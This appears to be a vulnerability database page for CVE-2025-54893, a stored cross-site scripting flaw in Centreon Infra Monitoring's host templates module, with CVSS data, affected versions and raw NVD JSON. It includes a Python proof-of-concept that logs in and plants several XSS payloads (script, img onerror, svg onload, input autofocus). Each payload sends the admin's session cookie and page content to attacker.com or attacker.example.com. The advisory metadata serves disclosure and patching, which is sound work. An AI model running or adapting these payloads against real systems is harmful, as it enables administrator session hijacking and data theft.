Security Vulnerability Report
中文
CVE-2025-54893 CVSS 6.8 MEDIUM

CVE-2025-54893

Published: 2025-10-14 16:15:40
Last Modified: 2025-10-22 14:09:19
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Hosts templates configuration modules) allows Stored XSS by users with elevated privileges. This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54893 - Centreon Infra Monitoring Stored XSS PoC # Vulnerability: Stored XSS in Hosts Templates Configuration Module # Affected: Centreon 24.10.0-24.10.12, 24.04.0-24.04.17, 23.10.0-23.10.27 import requests TARGET_URL = "https://target-centreon.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to Centreon with elevated privileges session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } session.post(f"{TARGET_URL}/centreon/api/latest/login", data=login_payload) # Step 2: Navigate to Hosts Templates configuration module # Step 3: Inject malicious JavaScript payload into a template field (e.g., template name/alias/description) malicious_payload = '<script>fetch("https://attacker.example.com/steal?cookie="+document.cookie+"&data="+btoa(document.body.innerHTML))</script>' # Payload variants that bypass basic filters: payload_variants = [ # Variant 1: Direct script tag f'<script>fetch("https://attacker.com/?c="+document.cookie)</script>', # Variant 2: IMG tag with onerror event '<img src=x onerror="fetch(\'https://attacker.com/?c=\'+document.cookie)">', # Variant 3: SVG with onload '<svg onload="fetch(\'https://attacker.com/?c=\'+document.cookie)">', # Variant 4: Input with autofocus and onfocus '<input onfocus="fetch(\'https://attacker.com/?c=\'+document.cookie)" autofocus>', ] # Step 4: Submit the malicious template configuration template_payload = { "name": malicious_payload, "alias": "Legitimate Template Name", "description": payload_variants[1], "hostgroups": "", "contacts": "", "contact_groups": "" } # POST request to create/update host template with XSS payload response = session.post( f"{TARGET_URL}/centreon/main.php?p=60103", data=template_payload ) # Step 5: When an admin views the hosts templates page, # the stored XSS payload executes in their browser context, # exfiltrating session cookies and sensitive data to attacker server print(f"XSS payload stored. Status: {response.status_code}") print("Waiting for admin to view the template page to trigger the exploit...") # Attacker server receives: # GET https://attacker.com/steal?cookie=<admin_session_cookie>&data=<base64_encoded_page_content>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54893", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T16:15:39.507", "lastModified": "2025-10-22T14:09:19.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Hosts templates configuration modules) allows Stored \n\n XSS by users with elevated privileges.\n\nThis issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-54893-centreon-web-all-versions-medium-severity-5120", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}